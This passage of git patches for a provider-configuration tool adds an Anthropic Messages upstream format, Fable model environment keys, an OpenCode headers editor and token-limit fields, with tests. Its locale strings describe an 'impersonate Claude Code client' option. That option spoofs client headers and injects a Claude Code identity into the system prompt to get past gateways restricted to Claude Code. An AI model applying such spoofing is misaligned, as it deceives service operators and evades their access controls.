Messages(需開啟路由)", + "anthropicAuthFieldLabel": "認證欄位", + "anthropicAuthFieldAuthToken": "ANTHROPIC_AUTH_TOKEN(Authorization)", + "anthropicAuthFieldApiKey": "ANTHROPIC_API_KEY(x-api-key)", + "anthropicAuthFieldHint": "選擇閘道接收 API Key 的請求標頭:ANTHROPIC_AUTH_TOKEN 傳送 Authorization: Bearer;ANTHROPIC_API_KEY 傳送 x-api-key。兩者只傳其一。", + "impersonateClaudeCodeLabel": "模擬 Claude Code 用戶端", + "impersonateClaudeCodeHint": "閘道或其上游限制只能透過 Claude Code 使用時開啟:偽裝 User-Agent、anthropic-beta、x-app 請求標頭,並在系統提示首行注入 Claude Code 身分。", + "maxOutputTokensLabel": "最大輸出 tokens", + "maxOutputTokensPlaceholder": "留空則使用預設 8192", + "maxOutputTokensHint": "Codex 不會把 model_max_output_tokens 寫進請求體,預設上限 8192 容易在長回答或深度思考時被截斷(stop_reason=max_tokens)。此處設定會作為 Anthropic 的 max_tokens 覆蓋請求值。請勿超過該模型/閘道的真實輸出上限,否則可能 400。留空使用預設 8192。", "modelMappingTitle": "模型映射", "modelMappingHint": "產生 Codex model_catalog_json,讓 /model 指令顯示這些第三方模型名;表中條目按填寫內容原樣儲存。修改後需要重新啟動 Codex 才能重新整理模型清單。", "addCatalogModel": "新增模型", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 774bae37e..6437a7f39 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1283,9 +1283,19 @@ "modelNameHint": "指定使用的模型,将自动更新到 config.toml 中", "modelName": "模型名称", "upstreamFormatLabel": "上游格式", - "upstreamFormatHint": "供应商原生为 Responses API 就选 Responses(直连,不转换格式);使用 Chat Completions 协议就选 Chat(需开启路由接管才能转换为 Chat Completions)。", + "upstreamFormatHint": "供应商原生为 Responses API 就选 Responses(直连,不转换格式);使用 Chat Completions 协议就选 Chat;供应商只提供原生 Anthropic Messages 协议就选 Anthropic Messages。Chat 与 Anthropic Messages 均需开启路由接管才能转换为 Responses。", "upstreamFormatChat": "Chat Completions(需开启路由)", "upstreamFormatResponses": "Responses(原生)", + "upstreamFormatAnthropic": "Anthropic Messages(需开启路由)", + "anthropicAuthFieldLabel": "认证字段", + "anthropicAuthFieldAuthToken": "ANTHROPIC_AUTH_TOKEN(Authorization)", + "anthropicAuthFieldApiKey": "ANTHROPIC_API_KEY(x-api-key)", + "anthropicAuthFieldHint": "选择网关接收 API Key 的请求头:ANTHROPIC_AUTH_TOKEN 发送 Authorization: Bearer;ANTHROPIC_API_KEY 发送 x-api-key。两者只发其一。", + "impersonateClaudeCodeLabel": "模拟 Claude Code 客户端", + "impersonateClaudeCodeHint": "网关或其上游限制只能通过 Claude Code 使用时开启:伪装 User-Agent、anthropic-beta、x-app 请求头,并在系统提示首行注入 Claude Code 身份。", + "maxOutputTokensLabel": "最大输出 tokens", + "maxOutputTokensPlaceholder": "留空则使用默认 8192", + "maxOutputTokensHint": "Codex 不会把 model_max_output_tokens 写进请求体,默认上限 8192 容易在长回答或深度思考时被截断(stop_reason=max_tokens)。此处设置会作为 Anthropic 的 max_tokens 覆盖请求值。请勿超过该模型/网关的真实输出上限,否则可能 400。留空使用默认 8192。", "upstreamModelName": "上游模型名称", "upstreamModelNameHint": "Chat 格式下这里填写真实上游模型;路由会把 Codex 的 Responses 请求转换为 Chat Completions 并保持该模型。", "modelNamePlaceholder": "例如: gpt-5-codex", diff --git a/src/types.ts b/src/types.ts index d8768a092..eab67ac61 100644 --- a/src/types.ts +++ b/src/types.ts @@ -224,6 +224,14 @@ export interface ProviderMeta { codexFastMode?: boolean; // Codex Responses -> Chat Completions reasoning capability metadata codexChatReasoning?: CodexChatReasoning; + // Codex → Anthropic path: emulate the Claude Code client (disabled by default; only an explicit true enables it) + impersonateClaudeCode?: boolean; + // Codex → Anthropic path: override the Anthropic max_tokens (output ceiling). + // Codex does not forward model_max_output_tokens in the request body; without + // this the path falls back to a conservative 8192 default, which can truncate + // long/thinking-heavy responses. When set (>0) it takes precedence over the + // request value and the default. + maxOutputTokens?: number; // Custom User-Agent for local proxy routing. Only applied by the local proxy. customUserAgent?: string; // Local proxy request overrides. Only applied by the local proxy after route transforms. @@ -254,7 +262,8 @@ export type ClaudeApiFormat = // Codex API 格式类型 // - "openai_responses": OpenAI Responses API 格式,直接透传 // - "openai_chat": OpenAI Chat Completions 格式,需要本地路由转换 -export type CodexApiFormat = "openai_responses" | "openai_chat"; +// - "anthropic": native Anthropic Messages format, needs local routing to convert to Responses +export type CodexApiFormat = "openai_responses" | "openai_chat" | "anthropic"; export interface CodexCatalogModel { model: string; diff --git a/src/utils/providerConfigUtils.test.ts b/src/utils/providerConfigUtils.test.ts index adda5b62b..7171f5d33 100644 --- a/src/utils/providerConfigUtils.test.ts +++ b/src/utils/providerConfigUtils.test.ts @@ -1,9 +1,35 @@ import { describe, expect, it } from "vitest"; import { + codexApiFormatFromWireApi, + isCodexAnthropicWireApi, isCodexRemoteCompactionEnabled, setCodexRemoteCompaction, } from "./providerConfigUtils"; +describe("Codex wire API helpers", () => { + it("recognizes Anthropic Messages aliases", () => { + expect(isCodexAnthropicWireApi("anthropic")).toBe(true); + expect(isCodexAnthropicWireApi("anthropic_messages")).toBe(true); + expect(isCodexAnthropicWireApi("messages")).toBe(true); + expect(isCodexAnthropicWireApi("claude")).toBe(true); + expect(isCodexAnthropicWireApi("responses")).toBe(false); + }); + + it("maps every backend-supported Anthropic alias to the form format", () => { + for (const wireApi of [ + "anthropic", + "anthropic_messages", + "anthropic-messages", + "messages", + "claude", + ]) { + expect(codexApiFormatFromWireApi(wireApi)).toBe("anthropic"); + } + expect(codexApiFormatFromWireApi("responses")).toBe("openai_responses"); + expect(codexApiFormatFromWireApi("chat_completions")).toBe("openai_chat"); + }); +}); + describe("Codex remote compaction config helpers", () => { it("enables remote compaction by naming the active custom provider OpenAI", () => { const input = `model_provider = "custom" diff --git a/src/utils/providerConfigUtils.ts b/src/utils/providerConfigUtils.ts index 6ae912822..b671a8ce8 100644 --- a/src/utils/providerConfigUtils.ts +++ b/src/utils/providerConfigUtils.ts @@ -1,6 +1,7 @@ // 供应商配置处理工具函数 import type { TemplateValueConfig } from "../config/claudeProviderPresets"; +import type { CodexApiFormat } from "@/types"; import { deepClone } from "@/utils/deepClone"; import { normalizeTomlText } from "@/utils/textNormalization"; import { parse as parseToml } from "smol-toml"; @@ -683,6 +684,32 @@ export const isCodexChatWireApi = ( ): boolean => CODEX_CHAT_WIRE_API_VALUES.has((wireApi ?? "").trim().toLowerCase()); +export const isCodexAnthropicWireApi = ( + wireApi: string | undefined | null, +): boolean => + [ + "anthropic", + "anthropic_messages", + "anthropic-messages", + "messages", + "claude", + ].includes((wireApi ?? "").trim().toLowerCase()); + +export const codexApiFormatFromWireApi = ( + wireApi: string | undefined | null, +): CodexApiFormat | undefined => { + if (isCodexChatWireApi(wireApi)) return "openai_chat"; + if (isCodexAnthropicWireApi(wireApi)) return "anthropic"; + switch ((wireApi ?? "").trim().toLowerCase()) { + case "responses": + case "openai_responses": + case "openai-responses": + return "openai_responses"; + default: + return undefined; + } +}; + // 从 Codex 的 TOML 配置文本中提取 wire_api(支持单/双引号) export const extractCodexWireApi = ( configText: string | undefined | null, diff --git a/tests/hooks/useProviderActions.test.tsx b/tests/hooks/useProviderActions.test.tsx index fa1826e98..ab0558a56 100644 --- a/tests/hooks/useProviderActions.test.tsx +++ b/tests/hooks/useProviderActions.test.tsx @@ -242,6 +242,28 @@ describe("useProviderActions", () => { expect(switchProviderMutateAsync).toHaveBeenCalledWith(provider.id); }); + it("warns when switching a Codex Anthropic-format provider without proxy", async () => { + switchProviderMutateAsync.mockResolvedValueOnce(undefined); + const { wrapper } = createWrapper(); + const provider = createProvider({ + category: "custom", + meta: { apiFormat: "anthropic" }, + }); + + const { result } = renderHook(() => useProviderActions("codex", false), { + wrapper, + }); + + await act(async () => { + await result.current.switchProvider(provider); + }); + + expect(toastWarningMock).toHaveBeenCalledWith( + expect.stringContaining("Anthropic Messages"), + ); + expect(switchProviderMutateAsync).toHaveBeenCalledWith(provider.id); + }); + it("should sync plugin config when switching Claude provider with integration enabled", async () => { switchProviderMutateAsync.mockResolvedValueOnce(undefined); settingsApiGetMock.mockResolvedValueOnce({ From 50270d5e42c7f7c0e816ad8f33103bd4e12b72dd Mon Sep 17 00:00:00 2001 From: Dawn Date: Sat, 11 Jul 2026 10:11:57 +0800 Subject: [PATCH 42/73] fix: exclude Fable model env from Claude common config (#4272) (#5206) * Add test for Fable model env key exclusion Add regression test to ensure Fable model env keys are excluded from common config. * Add Fable model to CLAUDE_MODEL_OVERRIDE_ENV_KEYS * Add files via upload * Delete .github/workflows/build-windows-unsigned.yml --- src-tauri/src/services/provider/mod.rs | 54 ++++++++++++++++++++++++++ src-tauri/src/services/proxy.rs | 18 ++++++++- 2 files changed, 70 insertions(+), 2 deletions(-) diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index f95d463a9..507686655 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -775,6 +775,56 @@ mod tests { assert_eq!(value.get("includeCoAuthoredBy"), Some(&json!(false))); } + /// Regression for issue #4272: Fable tier env keys must not enter the shared + /// Claude common-config snippet (same class as haiku/sonnet/opus model pins). + #[test] + fn extract_claude_common_config_strips_fable_model_env_keys() { + let settings = json!({ + "env": { + "ANTHROPIC_DEFAULT_HAIKU_MODEL": "haiku-mapped", + "ANTHROPIC_DEFAULT_HAIKU_MODEL_NAME": "Haiku Mapped", + "ANTHROPIC_DEFAULT_SONNET_MODEL": "sonnet-mapped[1M]", + "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME": "Sonnet Mapped", + "ANTHROPIC_DEFAULT_OPUS_MODEL": "opus-mapped[1M]", + "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME": "Opus Mapped", + "ANTHROPIC_DEFAULT_FABLE_MODEL": "deepseek-v4-flash[1M]", + "ANTHROPIC_DEFAULT_FABLE_MODEL_NAME": "deepseek-v4-flash", + "ANTHROPIC_MODEL": "default-mapped", + "ENABLE_TOOL_SEARCH": "true" + }, + "theme": "dark" + }); + + let snippet = ProviderService::extract_claude_common_config(&settings) + .expect("extract should succeed"); + let value: Value = serde_json::from_str(&snippet).expect("snippet is valid JSON"); + let env = value.get("env"); + + for stripped in [ + "ANTHROPIC_DEFAULT_HAIKU_MODEL", + "ANTHROPIC_DEFAULT_HAIKU_MODEL_NAME", + "ANTHROPIC_DEFAULT_SONNET_MODEL", + "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME", + "ANTHROPIC_DEFAULT_OPUS_MODEL", + "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME", + "ANTHROPIC_DEFAULT_FABLE_MODEL", + "ANTHROPIC_DEFAULT_FABLE_MODEL_NAME", + "ANTHROPIC_MODEL", + ] { + assert!( + env.and_then(|e| e.get(stripped)).is_none(), + "provider-specific model key {stripped} must not enter common config" + ); + } + + assert_eq!( + env.and_then(|e| e.get("ENABLE_TOOL_SEARCH")) + .and_then(|v| v.as_str()), + Some("true") + ); + assert_eq!(value.get("theme").and_then(|v| v.as_str()), Some("dark")); + } + #[test] fn validate_provider_settings_rejects_negative_cost_multiplier() { let mut provider = Provider::with_id( @@ -2869,6 +2919,10 @@ impl ProviderService { "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME", + // Fable 是 v3.16.3 新增的第四档模型映射,与 haiku/sonnet/opus 同属供应商专属, + // 不得进入通用配置片段,否则会污染其它供应商(issue #4272)。 + "ANTHROPIC_DEFAULT_FABLE_MODEL", + "ANTHROPIC_DEFAULT_FABLE_MODEL_NAME", "CLAUDE_CODE_SUBAGENT_MODEL", "ANTHROPIC_BASE_URL", ]; diff --git a/src-tauri/src/services/proxy.rs b/src-tauri/src/services/proxy.rs index 72c1e8228..53276d276 100644 --- a/src-tauri/src/services/proxy.rs +++ b/src-tauri/src/services/proxy.rs @@ -26,7 +26,7 @@ const PROXY_TOKEN_PLACEHOLDER: &str = "PROXY_MANAGED"; /// 原因:接管模式下 `*_MODEL` 必须由 CC Switch 写成稳定的 Claude 角色别名, /// 再由本地代理映射到当前供应商真实模型;`*_MODEL_NAME` 也需要同步接管, /// 否则 Claude Code 模型菜单会残留上一个供应商的显示名称。 -const CLAUDE_MODEL_OVERRIDE_ENV_KEYS: [&str; 10] = [ +const CLAUDE_MODEL_OVERRIDE_ENV_KEYS: [&str; 12] = [ "ANTHROPIC_MODEL", "ANTHROPIC_REASONING_MODEL", // legacy: 已废弃,但旧配置可能残留 "ANTHROPIC_DEFAULT_HAIKU_MODEL", @@ -35,6 +35,8 @@ const CLAUDE_MODEL_OVERRIDE_ENV_KEYS: [&str; 10] = [ "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME", + "ANTHROPIC_DEFAULT_FABLE_MODEL", + "ANTHROPIC_DEFAULT_FABLE_MODEL_NAME", "ANTHROPIC_SMALL_FAST_MODEL", // Legacy key (已废弃):历史版本使用该字段区分 small/fast 模型 "CLAUDE_CODE_SUBAGENT_MODEL", ]; @@ -42,6 +44,7 @@ const CLAUDE_MODEL_OVERRIDE_ENV_KEYS: [&str; 10] = [ const CLAUDE_TAKEOVER_HAIKU_MODEL: &str = "claude-haiku-4-5"; const CLAUDE_TAKEOVER_SONNET_MODEL: &str = "claude-sonnet-4-6"; const CLAUDE_TAKEOVER_OPUS_MODEL: &str = "claude-opus-4-8"; +const CLAUDE_TAKEOVER_FABLE_MODEL: &str = "claude-fable-5"; // 写给 Claude Code 时沿用文档示例的大写形式;解析侧大小写不敏感。 const CLAUDE_ONE_M_MARKER_FOR_CLIENT: &str = "[1M]"; @@ -221,10 +224,12 @@ impl ProxyService { let opus_model = Self::claude_env_string(env, "ANTHROPIC_DEFAULT_OPUS_MODEL") .or(default_model) .or(small_fast_model); + // Fable 未配置时不写稳定别名;映射侧会 fable→opus 降级(与官方一致)。 + let fable_model = Self::claude_env_string(env, "ANTHROPIC_DEFAULT_FABLE_MODEL"); let subagent_model = Self::claude_env_string(env, "CLAUDE_CODE_SUBAGENT_MODEL"); - let mut fields = Vec::with_capacity(7); + let mut fields = Vec::with_capacity(9); Self::push_claude_takeover_role_fields( &mut fields, env, @@ -252,6 +257,15 @@ impl ProxyService { true, opus_model, ); + Self::push_claude_takeover_role_fields( + &mut fields, + env, + "ANTHROPIC_DEFAULT_FABLE_MODEL", + "ANTHROPIC_DEFAULT_FABLE_MODEL_NAME", + CLAUDE_TAKEOVER_FABLE_MODEL, + true, + fable_model, + ); if let Some(subagent_model) = subagent_model { fields.push(("CLAUDE_CODE_SUBAGENT_MODEL", subagent_model.to_string())); } From 6245caa6c5edd88f867f2b465cd4974b9db21b63 Mon Sep 17 00:00:00 2001 From: v2v <127324695+git1677967754@users.noreply.github.com> Date: Sat, 11 Jul 2026 16:38:00 +0800 Subject: [PATCH 43/73] Fix/opencode known field editors (#2907) * fix: add opencode model limit editor * fix: add opencode headers editor * style: refine opencode advanced field layout * fix: preserve valid opencode headers * fix: preserve opencode extra options and sync translations --------- Co-authored-by: wzk Co-authored-by: Jason Young <44939412+farion1231@users.noreply.github.com> Co-authored-by: Jason --- .../providers/forms/OpenCodeFormFields.tsx | 415 +++++++++++++++--- .../providers/forms/ProviderForm.tsx | 2 + .../forms/helpers/opencodeFormUtils.ts | 5 + .../forms/hooks/useOpencodeFormState.ts | 43 +- src/i18n/locales/en.json | 13 + src/i18n/locales/ja.json | 13 + src/i18n/locales/zh-TW.json | 13 + src/i18n/locales/zh.json | 13 + tests/components/OpenCodeFormFields.test.tsx | 203 +++++++++ tests/hooks/useOpencodeFormState.test.tsx | 132 ++++++ 10 files changed, 781 insertions(+), 71 deletions(-) create mode 100644 tests/components/OpenCodeFormFields.test.tsx create mode 100644 tests/hooks/useOpencodeFormState.test.tsx diff --git a/src/components/providers/forms/OpenCodeFormFields.tsx b/src/components/providers/forms/OpenCodeFormFields.tsx index 70ba3307a..774a1e31a 100644 --- a/src/components/providers/forms/OpenCodeFormFields.tsx +++ b/src/components/providers/forms/OpenCodeFormFields.tsx @@ -3,6 +3,11 @@ import { useTranslation } from "react-i18next"; import { FormLabel } from "@/components/ui/form"; import { Input } from "@/components/ui/input"; import { Button } from "@/components/ui/button"; +import { + Collapsible, + CollapsibleContent, + CollapsibleTrigger, +} from "@/components/ui/collapsible"; import { Select, SelectContent, @@ -23,6 +28,8 @@ import { cn } from "@/lib/utils"; import { getModelExtraFields, isKnownModelKey, + OPENCODE_EXTRA_OPTION_DRAFT_PREFIX, + OPENCODE_HEADER_DRAFT_PREFIX, } from "./helpers/opencodeFormUtils"; import type { ProviderCategory, OpenCodeModel } from "@/types"; @@ -72,19 +79,23 @@ function ExtraOptionKeyInput({ optionKey, onChange, placeholder, + placeholderPrefixes = [OPENCODE_EXTRA_OPTION_DRAFT_PREFIX], }: { optionKey: string; - onChange: (newKey: string) => void; + onChange: (newKey: string) => boolean | void; placeholder?: string; + placeholderPrefixes?: string[]; }) { - // For new options with placeholder keys like "option-123", show empty string - const displayValue = optionKey.startsWith("option-") ? "" : optionKey; + const isPlaceholderKey = placeholderPrefixes.some((prefix) => + optionKey.startsWith(prefix), + ); + const displayValue = isPlaceholderKey ? "" : optionKey; const [localValue, setLocalValue] = useState(displayValue); // Sync when external key changes useEffect(() => { - setLocalValue(optionKey.startsWith("option-") ? "" : optionKey); - }, [optionKey]); + setLocalValue(isPlaceholderKey ? "" : optionKey); + }, [isPlaceholderKey, optionKey]); return ( { const trimmed = localValue.trim(); if (trimmed && trimmed !== optionKey) { - onChange(trimmed); + const accepted = onChange(trimmed); + if (accepted === false) { + setLocalValue(displayValue); + } } }} placeholder={placeholder} @@ -160,6 +174,10 @@ interface OpenCodeFormFieldsProps { baseUrl: string; onBaseUrlChange: (value: string) => void; + // Headers + headers: Record; + onHeadersChange: (headers: Record) => void; + // Models models: Record; onModelsChange: (models: Record) => void; @@ -181,6 +199,8 @@ export function OpenCodeFormFields({ partnerPromotionKey, baseUrl, onBaseUrlChange, + headers, + onHeadersChange, models, onModelsChange, extraOptions, @@ -190,6 +210,15 @@ export function OpenCodeFormFields({ const [fetchedModels, setFetchedModels] = useState([]); const [isFetchingModels, setIsFetchingModels] = useState(false); + const [extraOptionsOpen, setExtraOptionsOpen] = useState( + () => Object.keys(extraOptions).length > 0, + ); + + useEffect(() => { + if (Object.keys(extraOptions).length > 0) { + setExtraOptionsOpen(true); + } + }, [extraOptions]); const handleFetchModels = useCallback(() => { if (!baseUrl || !apiKey) { @@ -284,6 +313,77 @@ export function OpenCodeFormFields({ }); }; + const handleModelLimitChange = ( + modelKey: string, + limitKey: "context" | "output", + value: string, + ) => { + const model = models[modelKey]; + const nextLimit = { ...(model.limit || {}) }; + const trimmedValue = value.trim(); + + if (trimmedValue === "") { + delete nextLimit[limitKey]; + } else { + const parsed = Number(trimmedValue); + if (!Number.isFinite(parsed) || parsed < 0) return; + nextLimit[limitKey] = Math.trunc(parsed); + } + + const nextModel = { ...model }; + if (Object.keys(nextLimit).length > 0) { + nextModel.limit = nextLimit; + } else { + delete nextModel.limit; + } + + onModelsChange({ + ...models, + [modelKey]: nextModel, + }); + }; + + // Header handlers + const handleAddHeader = () => { + const newKey = `${OPENCODE_HEADER_DRAFT_PREFIX}${Date.now()}`; + onHeadersChange({ + ...headers, + [newKey]: "", + }); + }; + + const handleRemoveHeader = (key: string) => { + const newHeaders = { ...headers }; + delete newHeaders[key]; + onHeadersChange(newHeaders); + }; + + const handleHeaderKeyChange = (oldKey: string, newKey: string): boolean => { + const trimmedKey = newKey.trim(); + if (!trimmedKey || oldKey === trimmedKey) return false; + + const normalizedKey = trimmedKey.toLowerCase(); + const hasDuplicate = Object.keys(headers).some( + (key) => key !== oldKey && key.toLowerCase() === normalizedKey, + ); + if (hasDuplicate) return false; + + const newHeaders: Record = {}; + for (const [key, value] of Object.entries(headers)) { + if (key === oldKey) newHeaders[trimmedKey] = value; + else newHeaders[key] = value; + } + onHeadersChange(newHeaders); + return true; + }; + + const handleHeaderValueChange = (key: string, value: string) => { + onHeadersChange({ + ...headers, + [key]: value, + }); + }; + // Model options handlers const handleAddModelOption = (modelKey: string) => { const model = models[modelKey]; @@ -410,7 +510,7 @@ export function OpenCodeFormFields({ // Extra Options handlers const handleAddExtraOption = () => { - const newKey = `option-${Date.now()}`; + const newKey = `${OPENCODE_EXTRA_OPTION_DRAFT_PREFIX}${Date.now()}`; onExtraOptionsChange({ ...extraOptions, [newKey]: "", @@ -506,82 +606,193 @@ export function OpenCodeFormFields({

- {/* Extra Options Editor */} -
-
- - {t("opencode.extraOptions", { defaultValue: "额外选项" })} - + {/* Headers Editor */} +
+
+
+ + {t("opencode.headers", { defaultValue: "Headers" })} + +

+ {t("opencode.headersHint", { + defaultValue: + "Optional HTTP headers sent with provider requests, such as HTTP-Referer or X-Title.", + })} +

+
- {Object.keys(extraOptions).length === 0 ? ( -

- {t("opencode.noExtraOptions", { - defaultValue: "暂无额外选项", - })} -

- ) : ( -
-
- - {t("opencode.extraOptionKey", { defaultValue: "键名" })} - - - {t("opencode.extraOptionValue", { defaultValue: "值" })} - - -
- {Object.entries(extraOptions).map(([key, value]) => ( -
- handleExtraOptionKeyChange(key, newKey)} - placeholder={t("opencode.extraOptionKeyPlaceholder", { - defaultValue: "timeout", - })} - /> - - handleExtraOptionValueChange(key, e.target.value) - } - placeholder={t("opencode.extraOptionValuePlaceholder", { - defaultValue: "600000", - })} - className="flex-1" - /> - +
+ {Object.keys(headers).length === 0 ? ( +

+ {t("opencode.noHeaders", { + defaultValue: "No custom headers configured", + })} +

+ ) : ( +
+
+ + {t("opencode.headerName", { defaultValue: "Header" })} + + + {t("opencode.headerValue", { defaultValue: "Value" })} + +
- ))} -
- )} - -

- {t("opencode.extraOptionsHint", { - defaultValue: - "配置额外的 SDK 选项,如 timeout、setCacheKey 等。值会自动解析类型(数字、布尔值等)。", - })} -

+ {Object.entries(headers).map(([key, value]) => ( +
+ handleHeaderKeyChange(key, newKey)} + placeholder={t("opencode.headerNamePlaceholder", { + defaultValue: "X-Title", + })} + placeholderPrefixes={[OPENCODE_HEADER_DRAFT_PREFIX]} + /> + + handleHeaderValueChange(key, e.target.value) + } + placeholder={t("opencode.headerValuePlaceholder", { + defaultValue: "CC Switch", + })} + className="flex-1" + /> + +
+ ))} +
+ )} +
+ {/* Extra Options Editor */} + +
+ + + + +
+ + + {Object.keys(extraOptions).length === 0 ? ( +

+ {t("opencode.noExtraOptions", { + defaultValue: "No extra SDK options configured", + })} +

+ ) : ( +
+
+ + {t("opencode.extraOptionKey", { defaultValue: "Key" })} + + + {t("opencode.extraOptionValue", { defaultValue: "Value" })} + + +
+ {Object.entries(extraOptions).map(([key, value]) => ( +
+ + handleExtraOptionKeyChange(key, newKey) + } + placeholder={t("opencode.extraOptionKeyPlaceholder", { + defaultValue: "timeout", + })} + /> + + handleExtraOptionValueChange(key, e.target.value) + } + placeholder={t("opencode.extraOptionValuePlaceholder", { + defaultValue: "600000", + })} + className="flex-1" + /> + +
+ ))} +
+ )} +
+
+ {/* Models Editor */}
@@ -644,6 +855,9 @@ export function OpenCodeFormFields({ variant="ghost" size="icon" onClick={() => toggleModelExpand(key)} + aria-label={t("opencode.toggleModelDetails", { + defaultValue: "Toggle model details", + })} className="h-9 w-9 shrink-0" > + {/* Token limits (model.limit) */} +
+ + {t("opencode.modelLimits", { + defaultValue: "Token Limits", + })} + +
+
+ + {t("opencode.limitContext", { + defaultValue: "Context", + })} + + + handleModelLimitChange( + key, + "context", + e.target.value, + ) + } + placeholder="1048576" + /> +
+
+ + {t("opencode.limitOutput", { + defaultValue: "Output", + })} + + + handleModelLimitChange( + key, + "output", + e.target.value, + ) + } + placeholder="131072" + /> +
+
+
+ {/* Model Properties (extra fields like variants, cost) */}
diff --git a/src/components/providers/forms/ProviderForm.tsx b/src/components/providers/forms/ProviderForm.tsx index d5192dde5..f359982fc 100644 --- a/src/components/providers/forms/ProviderForm.tsx +++ b/src/components/providers/forms/ProviderForm.tsx @@ -2232,6 +2232,8 @@ function ProviderFormFull({ partnerPromotionKey={opencodePartnerPromotionKey} baseUrl={opencodeForm.opencodeBaseUrl} onBaseUrlChange={opencodeForm.handleOpencodeBaseUrlChange} + headers={opencodeForm.opencodeHeaders} + onHeadersChange={opencodeForm.handleOpencodeHeadersChange} models={opencodeForm.opencodeModels} onModelsChange={opencodeForm.handleOpencodeModelsChange} extraOptions={opencodeForm.opencodeExtraOptions} diff --git a/src/components/providers/forms/helpers/opencodeFormUtils.ts b/src/components/providers/forms/helpers/opencodeFormUtils.ts index dfb9a6e2b..a080bfd46 100644 --- a/src/components/providers/forms/helpers/opencodeFormUtils.ts +++ b/src/components/providers/forms/helpers/opencodeFormUtils.ts @@ -51,6 +51,11 @@ export const OPENCODE_KNOWN_OPTION_KEYS = [ "headers", ] as const; +// Contains ":", which is not valid in an HTTP field name, so it cannot +// collide with a legitimate custom header from an existing configuration. +export const OPENCODE_HEADER_DRAFT_PREFIX = "draft-header:"; +export const OPENCODE_EXTRA_OPTION_DRAFT_PREFIX = "draft-option:"; + export const OPENCLAW_DEFAULT_CONFIG = JSON.stringify( { baseUrl: "", diff --git a/src/components/providers/forms/hooks/useOpencodeFormState.ts b/src/components/providers/forms/hooks/useOpencodeFormState.ts index 9bfba4a3c..c94e11df5 100644 --- a/src/components/providers/forms/hooks/useOpencodeFormState.ts +++ b/src/components/providers/forms/hooks/useOpencodeFormState.ts @@ -3,6 +3,8 @@ import type { OpenCodeModel, OpenCodeProviderConfig } from "@/types"; import { OPENCODE_DEFAULT_NPM, OPENCODE_DEFAULT_CONFIG, + OPENCODE_EXTRA_OPTION_DRAFT_PREFIX, + OPENCODE_HEADER_DRAFT_PREFIX, isKnownOpencodeOptionKey, parseOpencodeConfig, toOpencodeExtraOptions, @@ -24,11 +26,13 @@ export interface OpencodeFormState { opencodeNpm: string; opencodeApiKey: string; opencodeBaseUrl: string; + opencodeHeaders: Record; opencodeModels: Record; opencodeExtraOptions: Record; handleOpencodeNpmChange: (npm: string) => void; handleOpencodeApiKeyChange: (apiKey: string) => void; handleOpencodeBaseUrlChange: (baseUrl: string) => void; + handleOpencodeHeadersChange: (headers: Record) => void; handleOpencodeModelsChange: (models: Record) => void; handleOpencodeExtraOptionsChange: (options: Record) => void; resetOpencodeState: (config?: OpenCodeProviderConfig) => void; @@ -69,6 +73,16 @@ export function useOpencodeFormState({ return typeof value === "string" ? value : ""; }); + const [opencodeHeaders, setOpencodeHeaders] = useState< + Record + >(() => { + if (appId !== "opencode") return {}; + const headers = initialOpencodeOptions.headers; + return headers && typeof headers === "object" + ? (headers as Record) + : {}; + }); + const [opencodeModels, setOpencodeModels] = useState< Record >(() => { @@ -128,6 +142,30 @@ export function useOpencodeFormState({ [updateOpencodeSettings], ); + const handleOpencodeHeadersChange = useCallback( + (headers: Record) => { + setOpencodeHeaders(headers); + updateOpencodeSettings((config) => { + if (!config.options) config.options = {}; + + const nextHeaders: Record = {}; + for (const [key, value] of Object.entries(headers)) { + const trimmedKey = key.trim(); + if (trimmedKey && !key.startsWith(OPENCODE_HEADER_DRAFT_PREFIX)) { + nextHeaders[trimmedKey] = value; + } + } + + if (Object.keys(nextHeaders).length > 0) { + config.options.headers = nextHeaders; + } else { + delete config.options.headers; + } + }); + }, + [updateOpencodeSettings], + ); + const handleOpencodeModelsChange = useCallback( (models: Record) => { setOpencodeModels(models); @@ -152,7 +190,7 @@ export function useOpencodeFormState({ for (const [k, v] of Object.entries(options)) { const trimmedKey = k.trim(); - if (trimmedKey && !trimmedKey.startsWith("option-")) { + if (trimmedKey && !k.startsWith(OPENCODE_EXTRA_OPTION_DRAFT_PREFIX)) { try { config.options[trimmedKey] = JSON.parse(v); } catch { @@ -170,6 +208,7 @@ export function useOpencodeFormState({ setOpencodeNpm(config?.npm || OPENCODE_DEFAULT_NPM); setOpencodeBaseUrl(config?.options?.baseURL || ""); setOpencodeApiKey(config?.options?.apiKey || ""); + setOpencodeHeaders(config?.options?.headers || {}); setOpencodeModels(config?.models || {}); setOpencodeExtraOptions(toOpencodeExtraOptions(config?.options || {})); }, []); @@ -180,11 +219,13 @@ export function useOpencodeFormState({ opencodeNpm, opencodeApiKey, opencodeBaseUrl, + opencodeHeaders, opencodeModels, opencodeExtraOptions, handleOpencodeNpmChange, handleOpencodeApiKeyChange, handleOpencodeBaseUrlChange, + handleOpencodeHeadersChange, handleOpencodeModelsChange, handleOpencodeExtraOptionsChange, resetOpencodeState, diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index b05f8514b..313f5a93e 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1359,6 +1359,7 @@ "modelName": "Display Name", "noModels": "No models configured", "modelsRequired": "Please add at least one model", + "toggleModelDetails": "Toggle model details", "providerKey": "Provider Key", "providerKeyPlaceholder": "my-provider", "providerKeyHint": "Unique identifier in config file. Use lowercase letters, numbers, and hyphens only.", @@ -1366,6 +1367,15 @@ "providerKeyRequired": "Provider key is required", "providerKeyDuplicate": "This key is already in use", "providerKeyInvalid": "Invalid format. Use lowercase letters, numbers, and hyphens only.", + "headers": "Headers", + "headersHint": "Optional HTTP headers sent with provider requests, such as HTTP-Referer or X-Title.", + "addHeader": "Add header", + "headerName": "Header", + "headerValue": 